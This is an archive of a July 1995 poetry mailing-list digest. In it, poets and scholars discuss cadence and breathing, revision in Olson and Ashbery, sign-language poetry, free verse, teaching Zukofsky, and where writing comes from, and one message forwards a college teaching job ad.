Just saw the following on the Nude Formalist List. Job anyone?

Ron

Job for poet/writer. Please help get the word out.

Temporary English Faculty

The Department of English at Salem State College is seeking to fill two one-year temporary faculty positions for the fall of 1995. For both positions, experience in and commitment to teaching in a multiracial, multiethnic environment with students od diverse backgrounds and learning styles is a preferred

requirement. Salaries are competitive and commensurate with education and experience.

CREATIVE WRITING. Specialist in poetry to teach undergraduate and graduate courses in writing. Courses range from composition to advanced levels of fiction, poetry and drama. MFA or appropriate doctorate, a minimum of two years of college teaching experience and publications required. Managerial experience in editing a literary magazine, coordinating visiting writers series, writers conferences, etc. preferred.

ESL/LINGUISTICS. Ph.d. in ESL/Linguistics with flexibility to teach in both areas....

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(Ad ran in July 9th Boston Sunday Globe)

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140. Ron Silliman
Re: breathing
Mon 10 Jul 1995

Jim,

but now that Ron mentions it I do have a vague glimmer of a
>proposal involving water. Was it in a text on the wall at that show?
Was it
>just something we talked about?

It was, as I recall, the series of cards on the floor, a word per card.

There's this overpriced "poetry magnet" game, little words on magnetized squares for play on the refrigerator or wherever, these days, and it was modeled after that.

(Actually, that game has never much appealed to me, but I have thought of using computer programs to pull out characteristic vocabularies and do Stein, Kerouac, Hemingway, Faulkner, etc. versions of that.)

Just saw the big Cage show here in Philadelphia yesterday. Very much in that same spirit. There's a "program your own score" computer game in it, move the mouse and click to get different effects and one of my three year olds, Jesse, did such for about 10 minutes with a half dozen adults all wearing headphones nodding appreciatively.

Ron

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141. Jorge Guitart
DON'T BE SO PHONOCENTRIC
Mon 10 Jul 1995

To everyone concerned with breathing, etc.:

Though it is wonderful to hear a great reader read, don't forget deaf poets & readers.

[Isn't most poetry produced and consumed in silence?]

Does anybody know anything about poetry in American Sign Language or in sign language in non-English cultures?

↑ Index

142. Jordan Davis.
Cadenza
Mon 10 Jul 1995

Lindz wrote about performance cadence.
>In NY this seems to be a monochrome sprechstimme, returning to the same pitch (the same note) at every stress. Try it at your next performance poetry--read an item about the candidacy of Pete Wilson reTURNing to the SAME
NOTE EVery STRESS. For bonus points at the Nuyorican, let your voice fall at the end of the line, or better yet, hold the last word of each paragraph (we don't use stanzas here) an extra beat or two. They'll probably hate you for it...
Charles wanted writers who teach to talk about how much time they spend reading poetry and having their students read out loud.
>I read children's poems to my students for a few minutes at the beginning of each lesson, I read work while my students are writing as it's being written, and then half to all of the class reads their work at the end, depending on the time. I found they liked Williams, Dante and Herrick. Work by children remained the most inspiring.

Jordan

↑ Index

143. Jordan Davis.
Re: Olson's revisions
Mon 10 Jul 1995

Donald Byrd wrote (about Olson):
  You could say that he didn't revise much, but he wrote many poems
that were very similar to one another.

That was my understanding of D.H. Lawrence's revision, too. Anybody know anything about Ashbery and revision? Or Coolidge?

Jordan

PS Re jesture, Marisa Januzzi used to talk about the gestural quality of certain poetries--Are you there, Marisa?

↑ Index

144. Willa Jarnagin
Re: Poll: Which magazines to read?
Mon 10 Jul 1995

On Sat, 8 Jul 1995, Loss Glazier wrote:

> ----------
> MAGAZINES _YOU_ READ:
> ----------
> I wanted to also ask people to post (or send to me) names of magazines
> they read, think are important, should really be mentioned! (I
> thought to compile this list for the EPC as an added resource - and to
> help fill in the blanks where entries do not exist.) Maybe a word or
> two, if you feel like it, about why the magazine is one you read would
> also be useful.
>
Compound Eye, edited by poet Ange Mlinko (see a poem of hers in the latest Talisman), is a great little zine. The next issue features Bernadette Mayer. Ange has a fresh eye, good gut instinct, and writes book reviews that are almost poems in their own right.

Write her at:

52 Park Street
Somerville, MA 02143

--Willa

↑ Index

145. Willa Jarnagin
Re: Offsets to the Frame
Mon 10 Jul 1995

On Sat, 8 Jul 1995, Jim Rosenberg wrote:
> I posted a quite lengthy article that deals with this and many other things
> under the subject "Notes Toward a Non-linear Prosody of Space" to ht_lit
some
> moons back; it is available on the web at
>
> http://www.well.com/user/jer/nonlin_prosody.html
>
> If there is interest I can repost it here; it's about 345 lines long.
>

I'm putting in my vote for posting it here. I don't have access to
the Web and I'd like to read it.
--Willa

↑ Index

146. David Kellogg
Re: Olson's revisions
Mon 10 Jul 1995

On Mon, 10 Jul 1995, Jordan Davis. wrote:

> *Donald Byrd wrote (about Olson):*
> *You could say that he didn't revise much, but he wrote many poems that were very similar to one another.*
>
> *That was my understanding of D.H. Lawrence's revision, too. Anybody know anything about Ashbery and revision? Or Coolidge?*

With Lawrence's *novels*, however, there was much revision. Three complete versions of *Lady Chatterley's Lover*. It would be interesting to hear some talk about revision and spontenaeity as generically differentiated values.

With regard to Ashbery, this is from the Appendix to John Shoptaw's pretty interesting new book, *On the Outside Looking Out*:

"Soon after finishing 'A Wave,' Ashbery articulated his poetics of revision: 'I like the idea of being as close to the original thought or voice as possible and not to falsify it by editing.' (*Paris Review* 90, Winter 1983, 53). When working not with a 'thought or voice' but with pages of written text, Ashbery keeps to the original by keeping new writing to a minimum. Rather than changing the fabric

of his text by rewriting or interpolating phrases and lines, Ashbery revises from the outside by cutting and restitching -- scrapping what doesn't work and leaving the reconnected pieces relatively intact. When this method fails, he starts over with a new original performance. Thus Ashbery can revise heavily and still keep close to an, if not the, original.

(Shoptaw p. 343, cite added to text from endnote).

Cheers,
David
~~~
~~~

148. David Kellogg
Re: Geoffrey Hill/Modernism & PoMo in England
Mon 10 Jul 1995

In Ireland the fate of modernism is also very complicated, partly by the overwhelming "International Modernist" presence of Joyce. But certainly the post-Yeats Irish poet who has gotten the most play in the States (Heaney) could be called po-mo only by the most elastic of definitions, and some of the most startlingly experimental (Devlin, Kinsella) are barely read at all here. Of course, McGuckian and Muldoon are relatively well-known, but their language practices are tamed (and partly produced) by American theoretical discourse.

Cheers,
David
~~~
~~~

Jerome Rothenberg

POETRY WITHOUT SOUND. Even in its early, tentative stages, the signing poetry emerging as an aspect of the "culture of the deaf" challenges some of our cherished preconceptions about poetry and its relation to human speech. Ameslan (American Sign Language) represents, literally, a poetry without sound and, for its practitioners, a poetry without access to that experience of sound as voice that we've so often taken as the bedrocks of all poetics and all language. In the real world of the deaf, then, language exists as a kind of writing in space and as a primary form of communication without reference to any more primary form of language for its validation. It is in this sense a realization of the ideogrammatic vision of a Fenollosa -- "a splendid flash of concrete poetry" -- but an ideogrammatic language truly in motion and, like oral poetry, truly inseparable from its realization in per- formance. (Ethnopoetic analogues -- for those who would care to check them out -- include Hindu and Tantric mudras, Plains Indian and Australian Aborigine sign languages, and Ejagham [southeastern Nigerian] "action writing": a history of human gesture languages that would enrich our sense of poetry and language, should we set our minds to it.) // The reader may also want to relate this piece to recent discourse about "written-oral dichotomies, etc., but the revelation of Ameslan, in that sense, isn't a denial of the powers of oral poetry but the creation of its possible and equally impermanent companion in performance.

A few additional thoughts. We had around that time seen an extraordinary performance of Four Saints in Three Acts by the Theater of the Deaf -- a startling and revelaing interplay between spoken and signed language. And I'm remembering too that in Shaking the Pumpkin -- the Indian assemblage I did in early 70s -- I included a signing piece (& probably compared it to something or other, altho I'm not going to bother to check). Also, the Klima-Bellugi essay didn't originally appear in Alcheringa, but in the followup magazine, New Wilderness Letter, that I had started up in 1976. It remains, anyway, an area of interest, and I'm hoping someone out there may have information on more recent happenings, etc. (And, needless to say, the Klima-Bellugi essay is of much more interest than my intro to it.)

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150. **Chris Scheil**

Re: breathing

Mon 10 Jul 1995

On Sun, 9 Jul 1995, Tony Green wrote:

> have you got some more suggestions for spectaculars, Chris Scheil?
>
Just one off the top of my egotistical bean...

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"With the destruction of history, contemporary events themselves retreat into a remote & fabulous realm of unverifiable stories, uncheckable statistics, unlikely explanations and untenable reasoning." --Debord

In the mackuling drift,

Chris

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151. Edward Foster
Re: Olson conference?
Mon 10 Jul 1995

---

yes, there's an olson conference in gloucester august 12 with Gerrit Lansing, Ed Sanders, Robert Creeley, many more. best to contact the library there, i'd guess, for details.

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152. Edward Foster
Re: Free Verse
Mon 10 Jul 1995

no verse, as they say, is free, and yes, they do talk about cadence; why not? but all this got chewed through many generations ago--many, many generations ago.

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153. Jim Rosenberg
Re: breathing
Mon 10 Jul 1995

Ron Silliman:
> As I recall, Jim Rosenberg, whom I believe is on this list, had a show
> at a gallery in SF back in the 1970s (and reasonably early in that
> decade as well) which include a series of word imprinted on clear
> plastic cards that were to be thrown into a swimming pool, so that
> readers would swim from word to word, a poem in constant drift.

Now this gives me a jolt! I had no recollection of *water* being involved in that piece, but now that Ron mentions it I do have a vague glimmer of a proposal involving water. Was it in a text on the wall at that show? Was it just something we talked about? I'm not sure, but I don't remember ever actually executing a piece in water. Now days, of course, what would be fun is holography: project the words into the whole space. (The person who has done the most work with words and holography to my knowledge is Eduardo Kac.)

The show Ron is talking about (how nice to have it remembered!) was called Temporary Poetry 10/73. I do still have some documentation of it, and one of these days I'm going to get a scanner and put some of that stuff up on my web. (Right now all I have there is a brief paragraph describing it.)

I did one other installation, at the Kitchen in NY in May of 75.

--
Jim Rosenberg http://www.well.com/user/jer/
CIS: 71515,124
WELL: jer
Internet: [redacted]

↑ Index

154. **Rod Smith**
Re: Ashbery's process
Mon 10 Jul 1995

Jordan Davis wrote:
>Anybody know anything about Ashbery & revision? Or >Coolidge?

The recent Shoptaw book gets into his process (_On the Outside Looking Out: John Ashbery's Poetry_ Harvard $24.00 pb geeze). Similar actually to what Byrd was describing re Olson. Apparently, he tends to cut more than rewrite, & when cutting doesn't work he'll write "the same poem" over again. The body of Shoptaw's text contains quite a bit of discussion of process. There's also an appendix which reprints early drafts of "A Wave."

Coolidge is another & very good question.

--Rod Smith

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155. **Burt Kimmelman**
Re: Free Verse
Mon 10 Jul 1995

Lindz,

Couldn't a Tennyson poem pose, say, a "range" of possible cadences?

I mean, as you see it on the page and read it to yourself?

Burt

↑ Index

156. **Burt Kimmelman**
Re: Free Verse
Mon 10 Jul 1995

Charles,

to my mind, a poetry course where both students and teacher do not read aloud as part of a discourse about the poetry is not worth the effort.

Burt

↑ Index

157. **Tony Green**
Re: breathing
Mon 10 Jul 1995

---

thanks Chris Scheil, cheering up my Tuesday. The Debord quote is cute. As a "historian" I'd appreciate it if them intellectuals realised that "history" is not dead but displaced. Yesterday, I said, (and this is without a word of a lie, I swear on my New Mail Folder,) the Death of the Author must be "the displacement of the author". I should now add "The End of Art" must be the displacement of art. Is Ron Silliman (rather than T.Pynchon) the novelist of our time?

Now, there's a historian's question? Or should it be that a reading of say Ketjak quickly reaches into the moment of the reader's on-going fragmentary narrative of what she/he is doing these days and out to a projection onto the figure of the writer of the book of a like situation of narration.

If "history" proves to be once more no more than narration, however, displaced, it could supercede the notion of that "history" that old D.Bored evokes (The Onward March of Time in which our acts are supposed to be irrevocably immersed as we muse on its telos).

The needs of one person for another have not ceased and that means families and generations and their narratives are forever investing in narrative, linking presents and pasts and futures. All that is required to transfer this kind of historicising to more public issues is the contemplation of the insubstantial but necessary artifices of narrative.

(in midst of Don Quixote)

best

↑ Index

158. **Tony Green**
Re: Free Verse
Mon 10 Jul 1995

---

interesting Ed Foster the problems keep recurring because they can only be solved in relation to a particular urgency that cannot resolve them forever? There's no such lunch as a free voice

↑ Index

159. **Jordan Davis.**
motorcycle diaries
Mon 10 Jul 1995

Worth a look (if not necessarily a purchase) is the book titled _The Motorcycle Diaries_ by Ernesto Che Guevara. A 23 or 24 yr old Che tours South America with a medical school friend, they fall off their motorcycle repeatedly, they stow away in the toilet of a riverboat,

↑ Index

160. **Jordan Davis.**
motorcycle diaries II
Mon 10 Jul 1995

---

was trying to fix that syntax when the button clicked. Anyway, along the way, Che dispenses keen economic analysis, a brief description of the process of smelting copper, and much about lepers! Have to consult Gary Sullivan re groove factor when he returns.

Jordan

↑ Index

161. **Edward Foster**
Re: Ashbery's process
Mon 10 Jul 1995

---

on coolidge, revision, etc., see his interview in talisman 3, also in _postmodern poetry_

↑ Index

162. **Edward Foster**
Re: Free Verse
Mon 10 Jul 1995

---

and no such voice, tony, as a free lunch, which brings about the deeper problem, why care, why care that people care; this huge carousel of concerns: must i metricize, can i be free. uuuhhhhhhhhh: what's does it mean? why care? i do care; why?

↑ Index

163. Steve Carll
language modes
Mon 10 Jul 1995

Burt:

That sense of unity is an interesting area, too, since the page also creates one. Is it "composed" in the brain, as I suspect, out of all the input from all the senses (wish I'd caught the NPR program)? I'm told that people blind from birth can visualize. Do deaf people similarly audiate?

Steve

P.S. Don't be afraid. We're all walking the same tightrope here. Actually, that's a lot of weight for one tightrope. Maybe we should all be afraid.

Nah.

↑ Index

164. Marisa A Januzzi
Re: motorcycle diaries
Tue 11 Jul 1995

JORDAN: pure gesture! he points, we ride, one falls (is deposited elsewhere, as one of the wingier Olson lines arcing through middle maximus) --Marisa--happy for an example

On Mon, 10 Jul 1995, Jordan Davis. wrote:

> *Worth a look (if not necessarily a purchase) is the book titled _The Motorcycle Diaries_ by Ernesto Che Guevara. A 23 or 24 yr old Che tours South America with a medical school friend, they fall off their motorcycle repeatedly, they stow away in the toilet of a riverboat,*

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165. Marisa A Januzzi
private press survey (fwd)
Tue 11 Jul 1995

Hello litmongers
I don't know what this guys motives are precisely but he says he wants to start a small press and he seems harmless enough and I told him I'd forward this from my book arts list to you.
--Marisa

---------- Forwarded message ----------
Date: Tue, 20 Jun 95 08:46:58 BST
From: Scott Coombs <[redacted]>
To: [redacted]
Subject: private press survey
------ cut here ----------
Purely out of curiosity, I have prepared a questionnaire for private presses. The purpose of this questionnaire is to discover the nature and behaviour of private presses as businesses. As an amateur printer, I am interested in how those who charge for their wares go about doing it. I was inspired by an article called "The Economics of Printing Limited Editions" which appeared in "Fine Print" in 1987. If I get a reasonable sample, I may be able to compile the information in some useful format.

Anyway, if anyone is interested in seeing the survey, mail me at [redacted] (or [redacted], if the first doesn't work).

Note that this has nothing to do with Oracle Corporation.

Regards,

Scott Coombs
------ cut here ----------

↑ Index

166. Marisa A Januzzi
McGuckian... and Bunuel
Tue 11 Jul 1995

Hello, David Kellogg:

How would you say Medbh McGuckian's "language practices" are "tamed" and/or "partially produced by American theoretical discourse"? I just don't see it. A fondness for metaphysical abstraction/surreal metaphor, maybe. Now I'm wondering what you make of Nuala Ni Dhomnhaill.

On a different thread: has anyone seen Bunuel's film BELLE DE JOUR? If so, would you say it was "tamed" and/or "partially produced by" bourgeois sex fancies? (thanks for the handy formulation, David!) I was talking with Jonathan Levin about this and we can't figure out if this is an offensively unselfconscious film or a knowing revolt against its own quasi-banality

From the span of my own movie seat, Scorsese's involvement in its revival doesn't clarify the situation any!!

Bye for now--- (wondering about yr bedside movies)

Marisa

↑ Index

167. **George Bowering**
Re: history
Tue 11 Jul 1995

It looks to me as if history (which means a certain kiond of writing) (forgive typing--I had a bone graft today) is a very good example of Derrida;s supplimentarity. Adding by its act and replacing without denying adding.

↑ Index

168. **George Bowering**
Re: DON'T BE SO PHONOCENTRIC
Tue 11 Jul 1995

Jerry's message about nonsounded poetry is much appreciated. Here's a correction from me. I cant think of a poetry class without reading aloud and/or use of blackboard and/or overhead projections, etc. bp Nichol should have taught us all that. So shd Jerry have.

↑ Index

169. **George Bowering**
Re: Free Verse
Tue 11 Jul 1995

Good posting, Linz... I cant imagine profs not reading poems aloud. Even TA's? Gad. Yr esp. right when you say that what the person is reading is (or shd not be) the poet but the poem. The words were there before she was, so why should anyone orentend that the poet is somehow using them to present her?

↑ Index

170. **David Kellogg**
Re: McGuckian... and Bunuel
Tue 11 Jul 1995

It was a toss-off comment, to be sure. As to what I meant.... I was thinking about some reviews in American litmags of McGuckian which seemed to connect almost gleefully to her type of experimentation. This reaction I attribute to her confirming (brilliantly I'd hasten to add) certain reviewer expectations about what an experimental poet should be up to, expectations themselves fueled by the lit-theory mindset. Nuala Ni Dhomnhaill hasn't yet provoked that sort of exhileration among American reviewers. It's not a bad thing; please don't think I'm slagging Medbh. I actually think she's an

outrageously good poet. All I'm saying is that "theory" is part of her context, and that we might well take into account the local institutional consequences of that context (how "theory" is different in Ireland and America, for example) in a transnational literary environment.

Cheers,
David
~~~
~~~

way experience filters through me." You could say Cage was interested in the same thing, he just had a cleaner filter, maybe the cleanest.

--Rod Smith

↑ Index

173. **Rod Smith**
Re: Free Verse
Tue 11 Jul 1995

. . .a little more on this question of where it ("the writing") comes from. Perhaps best to say: from multiplicity, through multiplicity, to multiplicity. Even that too linear. Seems one needs to include contingency and cognitive limits. I mean the terms "experience" and "soul" could just as well be "assumptions" and "sensibility"-- neither set of terms telling us all that much. This is why the gestural, again. To include the contingency, the not knowing maybe is what makes the beauty. Which is it's own set of problems.

I guess.

--Rod Smith

↑ Index

174. **Don Cheney**
Re: Free Verse
Tue 11 Jul 1995

> *. . .a little more on this question of where it ("the writing") comes from.*

My son, Max, is 9 years old and has been writing stories since he was 6. He has about 9 stories posted at a WWW site called KidPub. At the end of each of his stories is the chance to write to Max via my email address. He's gotten about 10 responses and this is how he responded to a question on how he came up with his story "World Leaders Become Zombies":

"I didn't really get an idea off the top of my head. It just came to me while I was writing the story. The hardest part was trying to think of the title. What I do with all my titles is that I think of a monster like a vampire or some other scary creature then I give it a finishing touch."

His response reminded me of a writing process class I had at UCSD as an undergraduate. We read an article that put forth the idea that

when we write we don't think and then write down what we are thinking, we simply write. I totally identified with this idea but the rest of the class thought the author had gone Bali Ha'i.

Don Cheney
[redacted]

↑ Index

175. **Tony Green**
Re: history
Tue 11 Jul 1995

Get well soon George Bowering. The best cure wd be a 2kg of Hokey-Pokey, but it doesn't travel. I'm unsure that "histories" "replace" anything, except by review of documentation of other older histories purporting to relate to the same "event" (i.e. witness accounts). But --- yes, thanks for the connection to J.Derrida.

↑ Index

176. **Reginald Johanson**
free verse
Tue 11 Jul 1995

I don't know where writing comes from, only where it sometimes comes from for me. It comes in the fog of the thoudsand-and-one things like a sharp prick in the bum/ribs/eye andf the little shout/gasp/curse I exhale is a poem/story/poemstory and then I have this piece of writing and the thousand-and-one things--again. reg

↑ Index

177. **Michael Davidson**
Tapes of Brathwaite?
Tue 11 Jul 1995

Does anyone know where I can locate a tape of Kamau Brathwaite reading--especially MIDDLE PASSAGES? Any help would be appreciated.

Michael Davidson

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178. Lindz Williamson
World Leaders Become Zombies
Tue 11 Jul 1995

I think the creative process is a drive, a need that I must satisfy, therefore it makes complete sense(to me anyway) that actual thought is not the initial element in writing. Writing is an action, if I just thought about it I'd never do it. I once had to go through an interview for an advanced painting class because I had had no formal training, the prof asked me " Why do you paint?" I replied, " I don't know I just do, it's something that just happened." He let me in the class. I think the same happens in writing. Children are the best examplesof this because they haven't been tainted by the thoery or the philosophy behind the process.

Lindz

↑ Index

179. Hank Lazer
Re: teaching
Tue 11 Jul 1995

There have been, of late, several comments related to issues of teaching poetry. As I prepare for a course this Fall in Modern American Poetry, I've found myself thinking over a few similar issues.

First, I agree with those who have argued for reading aloud in class. Of course. Over the years, I have collected a good many audio and video tapes. I read aloud in class; the students read aloud in class (and, presumably, at home). And I am able to present in class a reading of poems by the poet. (And, at times, point out that the poet has often read a poem aloud, over time, in different ways.)

Second issue is, for me, a practical one. Any recommendations for how to present Zukofsky? I have about two weeks set aside, and cost of books is an issue. If you were to pick a few things by Z to teach (to graduate students--most in the MFA program, most of whom will have read nothing by Z, virtually nothing by Stein or Williams, probably familiar with Eliot, passing acquaintance maybe with Pound) what would you teach?

Third is a perhaps apocryphal story about Robert Duncan. I heard the story nearly 25 years ago, and it concerned the way Duncan allegedly began a poetry (poetry writing?) class at UC Santa Cruz. He said that there would be two basic rules in the course: 1) they would not be discussing students' poetry in class; 2) he would do almost all of the talking. When I frist heard the story, I though, what an arrogant asshole. I had begun to take a few writing workshops, and

thought ill of Duncan's anti-democratic rules. Over the years, I can see what he may have been doing. The workshop methodology has indeed proven to be trivial and narrow--a kind of auto repair approach to tinkering with the unambitious and tidy poem. And the students will inevitably form their most important associations (for discussing poems too) outside of class among themselves. Duncan could certainly meet individually with students to talk over their poems. And needless to say, he did have a lot to say.

Fourth has to do with the issue that Rod Smith raised about the importance of teaching via not-knowing. I offer the following excerpt from Bob Perelman's fine book _The Trouble with Genius_ (p. 165):

But her [Stein's] account of first being invited to teach is revealing. The invitation was the result of an angry blowup upon meeting Robert Hutchins and Mortimer Adler of the University of Chicago. This is the only place I can recall in her work where she represents herself as losing control. Adler's list of "all the ideas that had been important in the world's history" causes Stein first to get "excited" and then "violent" (EA, 205-7). She is invited to teach Adler's class the next week, where, predictably, she triumphs. Afterward she explains to Hutchins: "You see why they talk to me is that I am like them I do not know the answer, you you say you do not know but you do know if you did not know the answer you could not spend your life in teaching but I I really do not know ... that is the trouble with governments and Utopia and teaching, the things not that can be learnt but that can be taught are not interesting" (EA, 213).

I'd be very curious to hear how others go about basing their teaching on what they don't know. Or how various ones of you balance teaching between an orientation toward a "delivery" of what you know and a shared exploration of what you don't know. Personally, I hope that Stein is wrong. It is, I hope, possible to sustain a career in teaching precisely by basing that activity in a substantial amount of not knowing. (Though such an approach has a great capacity to annoy and baffle some students.) If not--if Stein's right--my career's about over....

Hank Lazer

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180. Jorge Guitart
metaphors we live by
Tue 11 Jul 1995

---

1. How can we know if a poem has come from experience or from the soul? 2. If cage's filter was the cleanest, whose was the dirtiest?

↑ Index

181. Shaunanne Tangney
Re: where it comes from
Tue 11 Jul 1995

--ironic--have been reading MHAbrams mirror and lamp (comps!) all day to day, and here we are rehashing what we have been since Aristotle, Plato, et.al. . . . MHA employes a triangle, something like this:

UNIVERSE

WORK

ARTIST AUDIENCE

Arrows point up from work to universe, and down from work to artist and audience, implying that the work (writing) mediates between the artist and the audience. I would argue that in todays postmodern writing, thinking, criticism, being, the arrows would all have to be double. That is to say all of these elements mediate one upon--for and against--the other.

Where does writing come from--my soul/your soul, my experience/your experience--today I am working on a poem about Appolo, the sun, my skin, and knowledge--where does this come from? Partly a centuries old myth--a work (and does that include the soul, experience, whatever of its author, lost to us (except in this text) forever? And his/her audience? Universe?)--it "works" on me--

I like that! I like to think of writing as labor--and now I can add work to that, too!

Best,
ShaunAnne

↑ Index

182. Joseph Zitt
Re: Free Verse
Tue 11 Jul 1995

On 11 Jul 95 at 10:11, Lindz Williamson wrote:

> *I think the only reason the poem gets mistaken for a representation of the poet is because writing can come from two places; experience and the soul. It is difficult to mask these qualities. the artist emerges some where in the middle.*

Only from those two places?

But then, of course, that begs the question of what, if anything, the word "soul" might mean. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/ Online Representative, Austin International Poetry Festival \| / <A HREF="http://www.realtime.net/~jzitt/"> Joe Zitt's Home Page</A>\

↑ Index

183. **Tony Green**

Re: teaching

Tue 11 Jul 1995

---

off the top thinking of Hank Lazer and teaching. (the G Stein episode is fascinating, I must get hold of Perelman's book) : monologue is often useful as a delivery style, yes, but always seems most useful when it is made plain at some point that it stems from a reading that has posed questions that cannot be finally layed to rest by anyone....announcing "I wish I knew,(or that I could know, or could think of a way to find out") is a way of asking for collaborative effort over a question, seeking help, proposing "research"....monologue can be useful to put questions and to put into the "class" a summary of the story so far...I wonder whether it is a useful approach to teaching to propose that its purpose is to induct or introduce students to a continuing dialogue over certain questions with uncertain answers....I have enjoyed working this way with students in recent years....this list actually suggests a model....talking with Barbara Kirshenblatt-Gimblett (folklorist) in New York, she showed me her computer operation in which she and her students shared a list-server (I believe) so that there was a continuing discussion going on electronically among the class members. I liked that a lot. A bulletin-board for paper equivalents is ok, but the electronic version seems to me very useful....

I'd like to hear (as this list often says) what otheres think about this....

best

The issue of French nuclear tests in the Pacific is of serious and immediate concern to those living in the vicinity. Anyone opposed to the resumption of these tests: please take whatever action you can. Thanks.

↑ Index

184. Jim Pangborn
Re: where it comes from
Tue 11 Jul 1995

Lindz's post made me think of
Pierre Macherey, think it was, posits this
structure helps account for persistent confusion
over where "it" comes from: the uncertainties
built into language (especially literary)
constitute something like a wall between sender
and receiver; writers, uncertain, toss their stuff
up top of this; readers project a spectral author
presumed to mean the text completely.

Sort of an open-air Plato's cave:

```
Idealized
Writer
      \
        \
          \
            Text
          // | \
        //   W   \
      //     A     \
Actual       L       \
Writer       L         Audience
-----------------------------------(Ground)--(?)----
```

Macherey's seems a resolutely materialist view. The diagram renders its participants as weirdly naive, tho, which people often but not always are. A part-perspective, then. Anyone espouse and use a similar notion, playing with projected implications of the self supposed to lie (or lie) behind the writing?

--Jim

↑ Index

185. Burt Kimmelman
Re: McGuckian... and Bunuel
Tue 11 Jul 1995

maria,

who are dahmnhaill and mcguckian (I hope i spelled the former right as it is on the next screen)?

Burt

↑ Index

186. **Burt Kimmelman**
Re: history
Tue 11 Jul 1995

---

does historiography require writing, then?

↑ Index

187. **Burt Kimmelman**
Re: history
Tue 11 Jul 1995

---

poor choice of word, since "graphy" means writing. but anyway, does history need literacy (according to ong, derrida, bowering)?

↑ Index

188. **Burt Kimmelman**
Re: teaching
Tue 11 Jul 1995

Hank,

People learn when they do. thus students must have their say (no matter how stupid or awkward what they say is) and their sayings must be honored but still can be emended, amended AMENed etc.

so I am saying what is old hat, but there, i've said it just the same. I like to teach stuff I don'tunderstand; i know more than my students though I may not be as smart as some of them; they sense that we are all exploring together and get confident. and in fact I have learned some amazing stuff from them.

again,I 'm saying the old things here, but . . .

My Zukofsky all time hit parade:

A "11". "Little Wrists," the Don Giovanni poem, and "Mantis"--I don't pretend to be a Zuk scholar and have not read it all. Ahearn's book would seem a good starting place for grad students to read.

And how about Mike Heller's *Conviction's Net of Branches*

and how about the Man and pOet.

Burt

↑ Index

189. **Robert Drake**
Re: metaphors we live by
Tue 11 Jul 1995

> *How can we know if a poem has come from experience or from the soul?*

experience/soul aren't things i'd want to polarize as sources ov poetry...

> *If cage's filter was the cleanest, whose was the dirtiest?*

if cage's filter was the cleanest, it wasn't filtering much--everything got thru?
artaud maybe a candidate for catching & keeping "impurities"

lbd

↑ Index

190. **Carl Lynden Peters**
Re: metaphors we live by
Wed 12 Jul 1995

>
> 1. How can we know if a poem has come from experience or from the soul?
> 2. If cage's filter was the cleanest, whose was the dirtiest?
>
--i'll risk an answer to question 2: warhol. it's the first name that
came to me, right or wrong.

↑ Index

191. **Jorge Guitart**
metaphors we live by
Wed 12 Jul 1995

The soul is inexperienced while experience is soulless, especially in this pre-postpostmodern world of ours where the universe and the artist,the mirror and the lamp, are distinct ***loci*** (or perhaps ***foci**) in the supplement that is its own complement, or as Borges said once (paraphrasing Hindrawan) "All the filters are the Filter".

↑ Index

192. **Steve Carll**
Re: DON'T BE SO PHONOCENTRIC
Wed 12 Jul 1995

Jorge Guitart asks:

> *[Isn't most poetry produced and consumed in silence?]*

In some senses (pardon the pun) and not in others. There may be an actual physical silence in reading, but I always experience an inner voice reading "aloud" to me, as it were, so I don't experience it as silent. But then again, there is the silence from which all sound arises that I am sometimes aware of (if I'm being mindful and relaxed).

I still wonder if people deaf from birth can "hear" sound in their mind somewhere, or is this a manifestation of phonocentrism?

Steve

↑ Index

193. Rod Smith
Re: metaphors we live by
Wed 12 Jul 1995

Jorge's questionnaire read:
1. How can we know if a poem has come from experience or from the soul?
2. If Cage' s filter was the cleanest, whose was the dirtiest?

Mine reads:
1. "If you don't know, why do you ask?"
2. X _____ .

havin' some fun tanight,
--Rod

↑ Index

194. Tony Green
Re: where it comes from
Wed 12 Jul 1995

Macherey diagram needs redoing author is also displaced and also projects an "idealised" audience in writing author is wildly displaced in my view i.e. is a figure projected by the actual scribe so summing up diagram needs 1.writer who projects both a writer and a reader 2. a reader who projects both "a reader" and "a writer" note, in mid-Don Quixote how can anyone believe the "I" of the text == the author named on the cover and when the reader says of herself" "I" read this " who is the reader? better to take both parties, reader and writer as fictions constructed in the writing/reading CONFUSED ? yes, I guess, and yes I HOPE SO

also see J.-L.Nancy EGO SUM 1979 for Descartes's autobiographical and fabling confusions (Montaigne/Cervantes generation's problem of fiction/fabling and the reflexive self.....)

also see David Carrier and O.Batschmann on one of the equivalents in painting, Nic Poussin's 1650 self-portrait and also Foucault and others on Velazquez Las Meninas and any explanation of the illusionism of Annibale Carracci in the Farnese Gallery etc

↑ Index

195. **Jorge Guitart**
what the deaf hear in their heads
Wed 12 Jul 1995

---

to steve carl

suppose you ask deaf people if they "hear" something in their minds and they say yes. how do you know that what they call hearing is what you call hearing. wondering if deaf people "hear", isn't it like like wondering if what you call red is seen by other people as what you call green? it is one of those things.

is there a foreign language of which you have only a reading knowledge? what happens to you when you read poetry in that language? do you hear an inner voice reading with some kind of accent or what?

↑ Index

196. **Lindz Williamson**
??????????
Wed 12 Jul 1995

What does the soul gain from experience? Does knowledge nuture or tarnish one's "soul"? And does knowledge and experience survive this life?

↑ Index

197. **Rod Smith**
Re: where it comes from
Wed 12 Jul 1995

Tony Green's comments on this seem to me right on & are in some ways reminiscent of Watten's "XYZ of Reading" in _Conduit_. "The speaker no longer hears only himself [sic]; he must also hear what the absence of himself would mean to another. . . . The reader is implicated in the structure of the writer's displacement, and the effaced intentions of the work are the reader being taken into account." Actually, that entire piece is relevant & useful & ends with the rather buddhist take on Wittgenstein-- "The world is everything that is _not_ the case." Have you read your Tsong Khapa today? _The Essence of True Eloquence_ ! only in the Robert Thurman translation, please. There must be a way to secretly substitute that book for the party platforms in '96.

--Rod Smith

↑ Index

198. **Marjorie Perloff**
Re: POETICS Digest - 10 Jul 1995 to 11 Jul 1995
Wed 12 Jul 1995

Re: Hank Lazer's question about teaching Zukofsky.

I taught Zukofsky recently in a ten-week (quarter) course--short space!--where we read about 8 poets. I didn't have more than 2 weeks for Zuk either. We read ALL and then (xeroxed) just portions of "'A'" and at least that whetted their appetite and many of the students (incl. Susan Vandenborg, Ming-Quian Ma) went on to work on Zukofsky. The short poems in ALL are really challenging for them.

As for reading aloud, yes,--but I am the one who does most of the reading. And as to tapes: I don't like to use class time (so limited) to listen but try to get the students to do so. Or attend the readings in the Bay area (since Stanford offers so little).

Marjorie Perloff

